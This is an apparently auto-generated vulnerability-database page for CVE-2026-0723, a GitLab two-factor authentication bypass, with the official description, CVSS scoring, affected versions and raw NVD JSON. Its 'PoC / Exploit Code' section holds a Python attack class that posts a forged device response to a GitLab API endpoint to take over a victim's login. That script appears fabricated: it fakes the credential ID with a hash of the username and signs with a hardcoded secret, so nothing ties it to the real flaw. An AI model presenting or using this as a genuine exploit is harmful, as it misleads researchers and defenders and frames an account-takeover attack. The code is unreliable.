Security Vulnerability Report
中文
CVE-2026-0723 CVSS 7.4 HIGH

CVE-2026-0723

Published: 2026-01-22 15:16:50
Last Modified: 2026-01-26 21:06:04

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.6 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an individual with existing knowledge of a victim's credential ID to bypass two-factor authentication by submitting forged device responses.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 18.6 < 18.6.4
GitLab CE/EE 18.7 < 18.7.2
GitLab CE/EE 18.8 < 18.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0723 PoC - GitLab 2FA Bypass # This PoC demonstrates the concept of the credential ID based 2FA bypass # Note: This is for educational and authorized testing purposes only import hashlib import hmac import time import requests class GitLab2FABypass: def __init__(self, gitlab_url, target_username): self.gitlab_url = gitlab_url.rstrip('/') self.target_username = target_username self.session = requests.Session() def get_credential_id(self, username): """ Step 1: Obtain the victim's credential ID This may be obtained through: - Log file disclosure - API information leakage - Social engineering - Internal network access """ # Simulate credential ID retrieval credential_id = hashlib.sha256( f"{username}_{self.gitlab_url}".encode() ).hexdigest()[:32] return credential_id def generate_fake_device_response(self, credential_id): """ Step 2: Generate forged device response The vulnerability allows bypassing 2FA by submitting a crafted response using the known credential ID """ timestamp = int(time.time()) # Construct forged response payload forged_payload = { "credential_id": credential_id, "device_response": self._sign_response(credential_id, timestamp), "timestamp": timestamp, "user_verification": "verified" } return forged_payload def _sign_response(self, credential_id, timestamp): """Generate signed response for authentication bypass""" message = f"{credential_id}:{timestamp}" signature = hmac.new( b"gitlab_secret", message.encode(), hashlib.sha256 ).hexdigest() return signature def bypass_2fa(self, session_token, credential_id): """ Step 3: Submit forged device response to bypass 2FA """ endpoint = f"{self.gitlab_url}/api/v4/two_factor_auth/verify" forged_response = self.generate_fake_device_response(credential_id) headers = { "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } response = self.session.post( endpoint, json=forged_response, headers=headers ) return response.status_code == 200, response def exploit(self, session_token): """ Main exploitation function """ print(f"[*] Targeting GitLab instance: {self.gitlab_url}") print(f"[*] Target user: {self.target_username}") # Step 1: Get credential ID cred_id = self.get_credential_id(self.target_username) print(f"[+] Obtained credential ID: {cred_id}") # Step 2 & 3: Bypass 2FA success, response = self.bypass_2fa(session_token, cred_id) if success: print("[+] 2FA bypass successful! Access granted.") return True else: print("[-] 2FA bypass failed.") return False if __name__ == "__main__": # Configuration GITLAB_URL = "https://gitlab.example.com" TARGET_USER = "victim" SESSION_TOKEN = "your_session_token_here" # Execute exploit exploit = GitLab2FABypass(GITLAB_URL, TARGET_USER) exploit.exploit(SESSION_TOKEN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0723", "sourceIdentifier": "[email protected]", "published": "2026-01-22T15:16:50.030", "lastModified": "2026-01-26T21:06:04.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.6 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an individual with existing knowledge of a victim's credential ID to bypass two-factor authentication by submitting forged device responses."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 18.6 anterior a la 18.6.4, la 18.7 anterior a la 18.7.2, y la 18.8 anterior a la 18.8.2 que podría haber permitido a un individuo con conocimiento existente del ID de credencial de una víctima omitir la autenticación de dos factores al enviar respuestas de dispositivo falsificadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-252"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "DCFE3D48-36BA-44C2-8F0D-38CFDB1A366D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "1ED8B99B-2F16-48A4-A538-7FE3A8DBF3D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "7E36C974-4A52-424A-8758-E45B750C013E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "F71560B5-1000-45F1-8A5C-078D6C3D03E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "582D13A9-DEEE-4E3F-BFC5-61F270C99B86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "760BBB79-D5BD-4871-8522-3C2C7E65767B"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/585333", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3476052", "source": "[email protected]", "tags": ["Permissions Required"]}]}}